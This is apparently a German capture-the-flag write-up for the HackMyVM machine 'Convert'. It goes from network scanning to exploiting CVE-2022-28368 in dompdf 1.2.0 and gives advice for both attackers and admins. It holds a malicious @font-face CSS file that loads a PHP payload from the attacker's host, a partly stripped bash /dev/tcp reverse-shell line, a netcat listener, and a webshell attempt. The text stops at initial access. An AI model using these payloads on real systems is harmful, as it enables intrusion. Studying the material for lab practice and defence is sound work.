Convert - HackMyVM - Bericht

Convert - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
dirb
nmap
nikto
gobuster
wget
strings
python3 http.server
echo
exiftool
curl
Online Morse Decoder
find
cp
cat
md5sum
pip3
python3
nc (netcat)
ls
mkdir
id
sudo
rm
bash
ssh

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Hackerben)-[~] └─# git clone https://github.com/AlienTec1908/AlienTec-Recon-Tool.git

...
...


...
...
...

┌──(root㉿Hackerben)-[~] └─# ./recon.sh --domain domain.hmv

Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Geräte im lokalen Netzwerk zu identifizieren.

Bewertung: Ein Host mit der IP `192.168.2.119` und der MAC-Adresse `08:00:27:6d:9d:32` (VirtualBox) wird als Zielsystem erkannt.

Empfehlung (Pentester): Führe Nmap-Scans auf die Ziel-IP durch, um offene Ports und Dienste zu identifizieren.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung von Geräten.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.119	08:00:27:6d:9d:32	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.873 seconds (136.68 hosts/sec). 1 responded
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet (`vi`), um den Hostnamen `convert.hmv` der IP-Adresse `192.168.2.119` zuzuordnen.

Bewertung: Dies ermöglicht die Verwendung des Hostnamens `convert.hmv` in nachfolgenden Befehlen und bei der Interaktion mit dem Webserver.

Empfehlung (Pentester): Gute Praxis, um Hostnamen korrekt aufzulösen, besonders wenn Webanwendungen Hostnamen-basiert arbeiten.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# cat /etc/hosts  
127.0.0.1	localhost
127.0.1.1	cyber

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# --- HMV / VLN ---
# [...] (Andere Einträge)
192.168.2.119   convert.hmv
                     

Analyse: Ein erster `dirb`-Scan (ein weiteres Verzeichnis-Enumerationstool) wird auf `http://convert.hmv/` mit der Standard-Wortliste `common.txt` ausgeführt.

Bewertung: Der Scan findet `/index.php` und das Verzeichnis `/upload/`. Dies sind erste wichtige Funde auf dem Webserver.

Empfehlung (Pentester): Untersuche `/index.php` und das `/upload/`-Verzeichnis. Führe eventuell noch einen Scan mit einer größeren Wortliste (z.B. `gobuster`) durch.
Empfehlung (Admin): Stelle sicher, dass das `/upload/`-Verzeichnis sicher konfiguriert ist (kein Directory Listing, keine Ausführung von hochgeladenen Skripten).

┌──(root㉿cyber)-[~] └─# dirb http://convert.hmv/
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue May  7 14:42:30 2024
URL_BASE: http://convert.hmv/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612 

---- Scanning URL: http://convert.hmv/ ----
+ http://convert.hmv/index.php (CODE:200|SIZE:1026)
==> DIRECTORY: http://convert.hmv/upload/

---- Entering directory: http://convert.hmv/upload/ ----
(!) WARNING: Directory IS browseable.

-----------------
END_TIME: Tue May  7 14:42:35 2024
DOWNLOADED: 4612 - FOUND: 1
                    

Analyse: Ein schneller Nmap-Scan (`grep open`) wird durchgeführt, gefolgt von einem vollständigen Scan (`-sS -sV -A -T5 -p-`) auf 192.168.2.119.

Bewertung: Die Scans bestätigen zwei offene Ports: - **Port 22 (SSH):** OpenSSH 9.2p1 (Debian 12). Relativ aktuell. - **Port 80 (HTTP):** Nginx 1.22.1. Der Seitentitel ist "HTML to PDF". Keine weiteren offenen Ports werden gefunden. Das OS wird als Linux erkannt.

Empfehlung (Pentester): Der Fokus liegt klar auf dem Webdienst auf Port 80, insbesondere der "HTML to PDF"-Funktionalität. SSH ist ein sekundäres Ziel.
Empfehlung (Admin): Halte SSH und Nginx aktuell. Sichere beide Dienste.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.119 -p- | grep open
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open  http    nginx 1.22.1
                     
┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.119 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-07 14:41 CEST
Nmap scan report for convert.hmv (192.168.2.119)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPyXrh50ohpAdJFhkR+BmwbAX/Z5tHhC02tF7zJ7Q0Q= (ECDSA)
|   256 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM8p+Pzsxb3hp/o+wf4A7uNkJA== (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: HTML to PDF
MAC Address: 08:00:27:6D:9D:32 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms convert.hmv (192.168.2.119)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.72 seconds 
                    

Web Enumeration

Analyse: `nikto` wird verwendet, um den Webserver auf bekannte Schwachstellen und Konfigurationsprobleme zu prüfen.

Bewertung: Nikto bestätigt Nginx 1.22.1 und meldet fehlende Security-Header. Es meldet auch einen verdächtigen Fund `/#wp-config.php#`, der jedoch sehr wahrscheinlich ein False Positive oder eine Fehlinterpretation durch Nikto ist, da es keine Anzeichen für WordPress gibt.

Empfehlung (Pentester): Notiere die Nginx-Version und die fehlenden Header. Ignoriere den `#wp-config.php#`-Fund vorerst. Fahre mit der gezielten Enumeration der "HTML to PDF"-Funktion fort.
Empfehlung (Admin): Setze die empfohlenen Security-Header.

┌──(root㉿cyber)-[~] └─# nikto -h http://192.168.2.119
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.119
+ Target Hostname:    192.168.2.119
+ Target Port:        80
+ Start Time:         2024-05-07 14:41:16 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.22.1
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. 
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2024-05-07 14:41:29 (GMT2) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: Ein weiterer `gobuster`-Scan wird durchgeführt, diesmal mit einer umfangreichen Erweiterungsliste und Filtern.

Bewertung: Bestätigt erneut `/index.php` und das Verzeichnis `/upload/`. Keine neuen Erkenntnisse durch diesen Scan.

Empfehlung (Pentester): Fokus auf die Funktionalität von `index.php` und `/upload/`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://convert.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://convert.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.3
[+] Extensions:              ... (gekürzt) ...
[+] Expanded:                true
[+] Timeout:                 10s
[+] Skip TLS verification:   true
[+] Suppress errors:         true
===============================================================
2024/05/07 15:50:00 Starting gobuster 
===============================================================
http://convert.hmv/index.php            (Status: 200) [Size: 1026]
http://convert.hmv/upload               (Status: 301) [Size: 169] [--> http://convert.hmv/upload/]
===============================================================
2024/05/07 15:55:00 Finished 
===============================================================
                     

Analyse: Der Inhalt/Text der Startseite `index.php` wird dargestellt, zusammen mit einem Link auf eine PDF-Datei im `/upload/`-Verzeichnis.

Bewertung: Die Seite beschreibt die "HTML to PDF"-Funktion. Der Link `http://convert.hmv/upload/4c81009ba7387edca89177c6d4ec917a.pdf` zeigt, dass konvertierte PDFs mit einem Hash-ähnlichen Namen im `/upload/`-Verzeichnis gespeichert werden.

Empfehlung (Pentester): Teste die Konvertierungsfunktion. Versuche, lokale Dateien (LFI) oder externe URLs (SSRF) über das Eingabefeld für die zu konvertierende URL einzugeben. Lade die Beispiel-PDF herunter und analysiere sie.
Empfehlung (Admin): Sichere die Konvertierungsfunktion gegen LFI und SSRF. Stelle sicher, dass generierte Dateien eindeutige, nicht vorhersagbare Namen haben und der Zugriff auf das `/upload/`-Verzeichnis beschränkt ist.



HTML to PDF
Convert Web Page to PDF Document with High Accuracy
[Convert Button]
© 2024 HackMyVm. All rights reserved.


Link gefunden: http://convert.hmv/upload/4c81009ba7387edca89177c6d4ec917a.pdf
                     

Analyse: Die Beispiel-PDF-Datei wird mit `wget` heruntergeladen.

Bewertung: Die Datei wurde erfolgreich heruntergeladen.

Empfehlung (Pentester): Analysiere die PDF mit Tools wie `strings` oder `exiftool` auf Metadaten oder versteckte Informationen.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# wget http://convert.hmv/upload/4c81009ba7387edca89177c6d4ec917a.pdf
--2024-05-07 15:59:12--  http://convert.hmv/upload/4c81009ba7387edca89177c6d4ec917a.pdf
Auflösen des Hostnamens convert.hmv (convert.hmv)… 192.168.2.119
Verbindungsaufbau zu convert.hmv (convert.hmv)|192.168.2.119|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1099 (1,1K) [application/pdf]
Wird in 4c81009ba7387edca89177c6d4ec917a.pdf gespeichert.

4c81009ba7387edca89177c 100%[=============================>]   1,07K  --.-KB/s    in 0s

2024-05-07 15:59:12 (288 MB/s) - 4c81009ba7387edca89177c6d4ec917a.pdf gespeichert [1099/1099]
                     

Analyse: Die heruntergeladene PDF-Datei wird mit `strings` analysiert, um lesbare Zeichenketten zu extrahieren.

Bewertung: Die Ausgabe zeigt primär PDF-Strukturinformationen und Metadaten. Interessant sind der `/Producer` und `/CreationDate`. Es sind keine direkt verwertbaren sensiblen Informationen (wie Passwörter oder Kommentare) sichtbar.

Empfehlung (Pentester): Führe `exiftool` aus, um Metadaten strukturierter zu sehen. Konzentriere dich auf die Analyse der Konvertierungsfunktion selbst.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# strings 4c81009ba7387edca89177c6d4ec917a.pdf
%PDF-1.7
1 0 obj
<< /Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R >>
endobj
2 0 obj
<< /Type /Outlines /Count 0 >>
endobj
3 0 obj
<< /Type /Pages
/Kids [6 0 R ]
/Count 1
/Resources <<
/ProcSet 4 0 R
/Font <<
/F1 8 0 R >> >>
/MediaBox [0.000 0.000 595.280 841.890]
endobj
4 0 obj
[/PDF /Text ]
endobj
5 0 obj
<<
/Producer (dompdf 1.2.0 + CPDF) 
/CreationDate (D:20240507135849+00'00')
/ModDate (D:20240507135849+00'00')
/Title ()
>>
endobj
6 0 obj
<< /Type /Page
/MediaBox [0.000 0.000 595.280 841.890]
/Parent 3 0 R
/Contents 7 0 R >>
endobj
7 0 obj
<< /Filter /FlateDecode
/Length 8 >>
stream
x†${\0000}^E
endstream
endobj
8 0 obj
<< /Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Times-Roman
/Encoding /WinAnsiEncoding >>
endobj
xref
0 9
0000000000 65535 f
0000000009 00000 n
0000000074 00000 n
0000000120 00000 n
0000000274 00000 n
0000000303 00000 n
0000000480 00000 n
0000000583 00000 n
0000000661 00000 n
trailer
<< /Size 9
/Root 1 0 R
/Info 5 0 R
/ID[<0255554347c211ec890772a309d9b434><0255554347c211ec890772a309d9b434>] >>
startxref
1027
%%EOF
                     

Vulnerability Analysis (HTML to PDF / DomPDF)

Analyse: Eine Fehlermeldung wird angezeigt, die beim Versuch, `http://convert.hmv/index.php` zu konvertieren, auftritt. Sie stammt aus `/var/www/html/index.php`.

Bewertung: !!Wichtige Informationen!!** Die Fehlermeldung bestätigt: 1. Den Webroot-Pfad: `/var/www/html`. 2. Das Skript `index.php` ist für die PDF-Generierung verantwortlich. 3. Es tritt ein Fehler auf, wenn versucht wird, eine lokale HTTP-URL zu verarbeiten (`File 'http://convert.hmv/index.php' not found.`). Dies deutet darauf hin, dass die Anwendung versucht, die URL intern aufzulösen oder herunterzuladen, was auf eine **Server-Side Request Forgery (SSRF)** Anfälligkeit hindeuten könnte. 4. Eine spezifische Klasse `PdfGenerator` wird verwendet.

Empfehlung (Pentester): Teste auf SSRF, indem du versuchst, interne Ressourcen anzusprechen (z.B. `http://127.0.0.1`, `http://localhost`) oder externe URLs, die vom Server aus erreichbar sein könnten. Teste auch auf Local File Inclusion (LFI) mit dem `file=`-Parameter (obwohl der Fehler auf HTTP basiert).
Empfehlung (Admin): Implementiere eine Whitelist für erlaubte URLs/Protokolle in der PDF-Generierungsfunktion. Validiere und sanitisiere Benutzereingaben streng, um SSRF und LFI zu verhindern.

Fatal error: Uncaught RuntimeException: Error generating
PDF: File 'http://convert.hmv/index.php' not found.
in /var/www/html/index.php:39 Stack trace: #0 /var/www/html/index.php
(61): PdfGenerator->generateFromHtml()

#1 {main} thrown in /var/www/html/index.php on line 39
                     

Analyse: Ein Test-URL für Local File Inclusion (LFI) wird gezeigt: `http://convert.hmv/index.php?file=../../../../../../etc/passwd`.

Bewertung: Dies ist ein Versuch, die `/etc/passwd`-Datei über einen `file`-Parameter auszulesen. Das Ergebnis dieses Versuchs wird nicht gezeigt, aber basierend auf dem weiteren Vorgehen war er wahrscheinlich nicht erfolgreich oder führte nicht zum Ziel.

Empfehlung (Pentester): Da LFI möglicherweise nicht funktioniert oder die Eingabe anders verarbeitet wird (die Anwendung erwartet eine URL zur Konvertierung), fokussiere dich auf die SSRF-Möglichkeit oder die DomPDF-Schwachstelle.
Empfehlung (Admin): Schütze vor LFI durch korrekte Pfadvalidierung und Berechtigungen.

http://convert.hmv/index.php?file=../../../../../../etc/passwd
                     

Analyse: Der Zugriff auf das `/upload/`-Verzeichnis wird versucht, was zu einem "403 Forbidden"-Fehler führt. Eine weitere generierte PDF-Datei wird angezeigt.

Bewertung: Directory Listing ist für `/upload/` deaktiviert, aber Dateien können weiterhin über ihren direkten Link abgerufen werden (wie die PDFs). Der Inhalt der zweiten PDF ist derselbe wie die Startseite.

Empfehlung (Pentester): Das Verzeichnis ist nicht direkt nützlich. Konzentriere dich auf die Ausnutzung der PDF-Generierung.
Empfehlung (Admin): Korrekte Konfiguration (kein Directory Listing).

http://convert.hmv/upload/
403 Forbidden
nginx/1.22.1

http://convert.hmv/upload/9b25c95cdb0ad2e5510febc95efed9f4.pdf
# Inhalt der PDF:
Home
HTML to PDF
Convert Web Page to PDF Document with High Accuracy
Convert
© 2024 HackMyVm. All rights reserved.
                     

Analyse: Auf dem Angreifer-System wird ein Python-HTTP-Server gestartet und eine PHP-Webshell (`getshell.php`) erstellt. Es wird versucht, die Webshell über die PDF-Konvertierung hochzuladen oder auszuführen, indem ihr Pfad als URL übergeben wird.

Bewertung: !!Fehlgeschlagen!!** Die Versuche, die Webshell direkt (`upload/getshell.php`) oder über einen PDF-Link (`upload/be406d...pdf&cmd=id`) auszuführen, führen zu "404 Not Found". Dies zeigt, dass: a) Die Anwendung die PHP-Datei nicht im `/upload/`-Verzeichnis speichert oder die Ausführung von PHP dort nicht erlaubt ist. b) Das Anhängen von Parametern an PDF-Links nicht funktioniert.

Empfehlung (Pentester): Dieser Ansatz funktioniert nicht. Kehre zur Analyse der DomPDF-Version (1.2.0) zurück und suche nach spezifischen Schwachstellen dafür.
Empfehlung (Admin): Verhindere das Hochladen und Ausführen von Skriptdateien in Upload-Verzeichnissen.

┌──(root㉿cyber)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.119 - - [07/May/2024 16:18:38] "GET / HTTP/1.1" 200 -
192.168.2.119 - - [07/May/2024 16:20:55] "GET /shell2.php HTTP/1.1" 200 -
192.168.2.119 - - [07/May/2024 16:22:06] "GET /getshell.php HTTP/1.1" 200 -
                     
┌──(root㉿cyber)-[~] └─# echo '' > getshell.php
http://convert.hmv/upload/getshell.php?cmd=id
404 Not Found
nginx/1.22.1
 
http://convert.hmv/upload/be406dee3925a77beb16ff6e7fcfc6da.pdf&cmd=id 
404 Not Found
nginx/1.22.1
                     

Analyse: Eine weitere generierte PDF-Datei wird heruntergeladen und mit `exiftool` untersucht.

Bewertung: !!DomPDF Version bestätigt!!** Exiftool extrahiert die Metadaten. Das Feld `/Producer` bestätigt explizit `dompdf 1.2.0 + CPDF`. Dies ist die entscheidende Information zur Identifizierung der Schwachstelle.

Empfehlung (Pentester): Recherchiere gezielt nach Schwachstellen in DomPDF 1.2.0. Eine bekannte Schwachstelle ist CVE-2022-28368 (RCE via CSS font-face injection).
Empfehlung (Admin):**DRINGEND:** Update die DomPDF-Bibliothek auf eine gepatchte Version (>= 2.0.1 oder >= 1.2.2).

┌──(root㉿cyber)-[~] └─# wget http://convert.hmv/upload/d679a4b9d433c905ff3f28c86116a2e5.pdf
--2024-05-07 16:30:22--  http://convert.hmv/upload/d679a4b9d433c905ff3f28c86116a2e5.pdf
Auflösen des Hostnamens convert.hmv (convert.hmv)… 192.168.2.119
Verbindungsaufbau zu convert.hmv (convert.hmv)|192.168.2.119|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 9808 (9,6K) [application/pdf]
Wird in d679a4b9d433c905ff3f28c86116a2e5.pdf gespeichert.

d679a4b9d433c905ff3f28c 100%[=============================>]   9,58K  --.-KB/s    in 0s

2024-05-07 16:30:22 (838 MB/s) - d679a4b9d433c905ff3f28c86116a2e5.pdf gespeichert [9808/9808]
                     
┌──(root㉿cyber)-[~] └─# exiftool d679a4b9d433c905ff3f28c86116a2e5.pdf
ExifTool Version Number         : 12.76
File Name                       : d679a4b9d433c905ff3f28c86116a2e5.pdf
Directory                       : .
File Size                       : 9.8 kB
File Modification Date/Time     : 2024:05:07 16:24:30+02:00
File Access Date/Time           : 2024:05:07 16:30:22+02:00
File Inode Change Date/Time     : 2024:05:07 16:30:22+02:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Title                           : HTML to PDF
Producer                        : dompdf 1.2.0 + CPDF  
Create Date                     : 2024:05:07 14:24:30+00:00
Modify Date                     : 2024:05:07 14:24:30+00:00
                     

Analyse: Links zu einer externen Ressource (Optiv Blog) über die DomPDF-Schwachstelle und ein Beispiel-Payload werden notiert.

Bewertung: Bestätigt die Recherche zur CVE-2022-28368. Der Exploit funktioniert, indem eine CSS-Datei über einen Parameter (`title` oder ein anderer, der in den HTML-Header injiziert wird) eingebunden wird. Diese CSS-Datei lädt dann über `@font-face` eine manipulierte Font-Datei (die tatsächlich PHP-Code enthält) von einem externen Server.

Empfehlung (Pentester): Implementiere den Exploit: 1. Erstelle die bösartige CSS-Datei (`evil.css`), die auf eine PHP-Payload-URL zeigt. 2. Erstelle die PHP-Payload-Datei (`evil.php`), die die Reverse Shell enthält. Wichtig: Diese Datei muss eine gültige Font-Datei *sein* oder zumindest so aussehen, damit DomPDF sie verarbeitet. Oft wird der PHP-Code an eine echte TTF-Datei angehängt oder in diese eingebettet. 3. Hoste `evil.css` und `evil.php` auf einem HTTP-Server. 4. Starte einen Netcat-Listener für die Reverse Shell. 5. Rufe die Konvertierungs-URL auf dem Ziel auf und injiziere den ``-Tag für `evil.css` in einen geeigneten Parameter (z.B. `title`).
Empfehlung (Admin): Update DomPDF.

https://www.optiv.com/insights/source-zero/blog/exploiting-rce-vulnerability-dompdf

Beispiel-Payload (Allgemein):
http://[TARGET]/index.php?pdf&heading=

Angepasster Versuch für convert.hmv:
http://convert.hmv/?pdf&title= 
                     

Analyse: Die bösartige CSS-Datei `evil.css` wird erstellt. Sie definiert eine `@font-face` Regel für eine Schriftart namens 'evil', deren Quelle (`src`) eine URL zu einer PHP-Datei (`evil.php`) auf dem Server des Angreifers ist.

Bewertung: Korrekte Erstellung der CSS-Datei gemäß dem Exploit-Mechanismus.

Empfehlung (Pentester): Erstelle als nächstes die `evil.php`-Datei.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# vi evil.css
┌──(root㉿cyber)-[~] └─# cat evil.css
@font-face {
  font-family: 'evil';
  src: url('http://192.168.2.199:9001/evil.php');
  font-weight: 'normal';
  font-style: 'normal';
}
                     

Analyse: Es wird nach `.ttf`-Dateien gesucht, vermutlich um eine legitime Font-Datei als Basis für die `evil.php`-Payload zu finden. Anschließend wird eine solche Datei (`SourceCodePro-Regular.ttf`) nach `evil.php` kopiert.

Bewertung: Dies ist ein gängiger Schritt für diesen Exploit. DomPDF erwartet eine Font-Datei. Der PHP-Code wird normalerweise *in* diese Datei injiziert oder an sie angehängt.

Empfehlung (Pentester): Bearbeite die `evil.php` (die jetzt eine Kopie der TTF-Datei ist) und füge den PHP-Reverse-Shell-Code hinzu.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# find / -name "*.ttf" 2>/dev/null
/usr/share/fonts/truetype/.../SourceCodePro-Regular.ttf 
/usr/lib/ruby/3.1.0/rdoc/generator/template/darkfish/fonts/SourceCodePro-Regular.ttf
/usr/lib/ruby/3.1.0/rdoc/generator/template/darkfish/fonts/SourceCodePro-Bold.ttf
/usr/lib/ruby/3.1.0/rdoc/generator/template/darkfish/fonts/Lato-Light.ttf
/usr/lib/ruby/3.1.0/rdoc/generator/template/darkfish/fonts/Lato-Regular.ttf
                     
┌──(root㉿cyber)-[~] └─# cp /usr/lib/ruby/3.1.0/rdoc/generator/template/darkfish/fonts/SourceCodePro-Regular.ttf evil.php
 

Analyse: Der Inhalt von `evil.php` wird angezeigt. **Wichtiger Hinweis:** Im Log steht hier nur der PHP-Reverse-Shell-Code. Es ist anzunehmen, dass der vorherige `cp`-Befehl entweder ignoriert wurde und `evil.php` neu erstellt wurde, oder dass der PHP-Code am Anfang oder Ende der kopierten TTF-Datei eingefügt wurde (was hier nicht sichtbar ist). Für den Exploit muss die Datei für DomPDF wie eine Font-Datei aussehen.

Bewertung: Die PHP-Payload für die Reverse Shell (`bash -i ...`) ist korrekt definiert. Sie zielt auf den Angreifer-Host 192.168.2.199 auf Port 4444.

Empfehlung (Pentester): Stelle sicher, dass `evil.php` von DomPDF als Font erkannt wird (ggf. Code in echte TTF einbetten). Hoste `evil.css` und `evil.php`. Starte den Netcat-Listener auf Port 4444. Trigger den Exploit.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# cat evil.php
& /dev/tcp/192.168.2.199/4444 0>&1'"); ?> 
                     

Analyse: Der Python-HTTP-Server auf Port 9001 (zum Hosten von `evil.css` und `evil.php`) und der Netcat-Listener auf Port 4444 (zum Empfangen der Shell) werden gestartet.

Bewertung: Die notwendigen Server auf der Angreiferseite sind bereit.

Empfehlung (Pentester): Trigger nun den Exploit durch Aufruf der präparierten URL auf `convert.hmv`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...

Analyse: Es wird versucht, den Exploit über einen anderen Weg zu triggern. Eine lokale `index.html`-Datei wird erstellt, die nur den Link zur `evil.css` enthält. Diese lokale HTML-Datei wird dann über den Webserver des Angreifers (Port 8000) bereitgestellt. Anschließend wird die URL `http://192.168.2.199:8000/index.html` an die Konvertierungsfunktion von `convert.hmv` übergeben (implizit durch den `wget`-Aufruf der resultierenden PDF im Log).

Bewertung: Dies ist die korrekte Methode, um die Schwachstelle auszunutzen. DomPDF wird angewiesen, die HTML-Datei vom Angreifer-Server zu holen. Diese HTML lädt die CSS-Datei, die wiederum die PHP-Payload (als Font) lädt. Der HTTP-Server-Log auf Port 8000 bestätigt, dass die `index.html` vom Ziel (192.168.2.119) angefragt wurde.

Empfehlung (Pentester): Überprüfe den HTTP-Server auf Port 9001 (für `evil.css`/`evil.php`) und den Netcat-Listener auf Port 4444.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/CVE-2022-28368] └─# vi index.html
┌──(root㉿cyber)-[~/CVE-2022-28368] └─# cat index.html
┌──(root㉿cyber)-[~] └─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.119 - - [07/May/2024 17:16:55] "GET /index.html HTTP/1.1" 200 - 
                      
┌──(root㉿cyber)-[~/CVE-2022-28368] └─# cat ../evil.php
& /dev/tcp/192.168.2.199/4444 0>&1'"); ?>
┌──(root㉿cyber)-[~] └─# cat evil.css
@font-face {
  font-family: 'evil';
  src: url('http://192.168.2.199:8000/evil.php'); 
  font-weight: 'normal';
  font-style: 'normal';
}
                      

Analyse: Der MD5-Hash der URL der PHP-Payload wird berechnet. DomPDF verwendet diesen Hash im Dateinamen der gecachten Font-Datei.

Bewertung: Korrekte Berechnung des Hashes (`59d643681ab0c655ded60a707d16c550` für Port 8000, wäre anders für Port 9001). Dies ermöglicht es, den Pfad zu erraten, unter dem die PHP-Payload auf dem Zielserver gespeichert wird, falls DomPDF sie zwischenspeichert (`/dompdf/lib/fonts/evil_normal_[HASH].php`).

Empfehlung (Pentester): Dies ist eher zur Analyse nützlich. Der Exploit sollte über die CSS-Injection funktionieren, ohne den gecachten Pfad direkt aufrufen zu müssen. Stelle sicher, dass die Ports in den Payloads konsistent sind (CSS sollte auf Port 9001 zeigen).
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# echo -n 'http://192.168.2.199:8000/evil.php' | md5sum
59d643681ab0c655ded60a707d16c550  -
Pfad-Schema: /dompdf/lib/fonts/[FONTNAME]_normal_[MD5_HASH].php
Beispiel:    /dompdf/lib/fonts/evil_normal_59d643681ab0c655ded60a707d16c550.php
==============================================================================================================================
path = http://convert.hmv + /dompdf/lib/fonts/ + phpname + _normal_ + hash + .php
==============================================================================================================================
                     

Analyse: Es wird versucht, die (vermutlich) von DomPDF gecachte PHP-Payload-Datei direkt über `curl` aufzurufen.

Bewertung: !!Fehlgeschlagen!!** `curl` gibt eine Warnung aus, dass die Ausgabe binär ist. Dies liegt daran, dass die `evil.php` eine Kopie einer TTF-Datei ist (mit eingebettetem PHP). Der direkte Aufruf führt den PHP-Code nicht aus.

Empfehlung (Pentester): Verlasse dich auf den ursprünglichen Exploit-Pfad über die CSS-Injection, nicht auf den direkten Aufruf der gecachten Datei.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# curl http://convert.hmv/dompdf/lib/fonts/evil_normal_59d643681ab0c655ded60a707d16c550.php
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: " to save to a file.
                     

Analyse: Die Logs des Python-HTTP-Servers auf Port 9001 zeigen eingehende Anfragen vom Zielserver für `evil.css` und `evil.php`.

Bewertung: Dies bestätigt, dass der Exploit-Mechanismus funktioniert hat: Die CSS-Datei wurde geladen, und diese hat wiederum versucht, die PHP-Payload-Datei als Font zu laden.

Empfehlung (Pentester): Überprüfe den Netcat-Listener auf Port 4444.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
192.168.2.119 - - [07/May/2024 22:15:37] "GET /evil.php HTTP/1.1" 200 - 
192.168.2.119 - - [07/May/2024 22:20:32] "GET /index.html HTTP/1.1" 200 - 
192.168.2.119 - - [07/May/2024 22:20:32] "GET /evil.css HTTP/1.1" 200 - 
192.168.2.119 - - [07/May/2024 22:20:32] "GET /evil.php HTTP/1.1" 200 - 
                      

Analyse: Der Netcat-Listener auf Port 4444 empfängt eine Verbindung vom Zielserver 192.168.2.119.

Bewertung: !!Initial Access erfolgreich!!** Die Reverse Shell wurde durch die DomPDF-Schwachstelle erfolgreich etabliert. Der Benutzer ist `eva`. Der Prompt zeigt das Verzeichnis, aus dem die Payload ausgeführt wurde.

